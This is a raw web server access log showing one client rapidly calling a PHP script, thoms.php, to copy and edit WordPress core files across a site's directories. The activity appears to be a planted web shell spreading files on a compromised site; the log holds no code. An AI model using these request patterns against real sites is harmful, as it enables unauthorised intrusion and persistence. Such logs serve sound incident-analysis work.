45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p= HTTP/1.1" 200 12342 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:00 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19437 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Freadme.html&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 18177 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?edit=wp-activate.php&p=bossini.com.tw HTTP/1.1" 200 14585 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12344 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19520 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22195 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:01 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19521 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-activate.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12341 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19850 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19842 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:02 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11333 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-config-sample.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19841 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12335 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 19807 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:03 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11328 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-cron.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 17006 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 13409 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 19228 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 22849 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 22264 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 25923 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20053 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p= HTTP/1.1" 200 12331 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:04 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
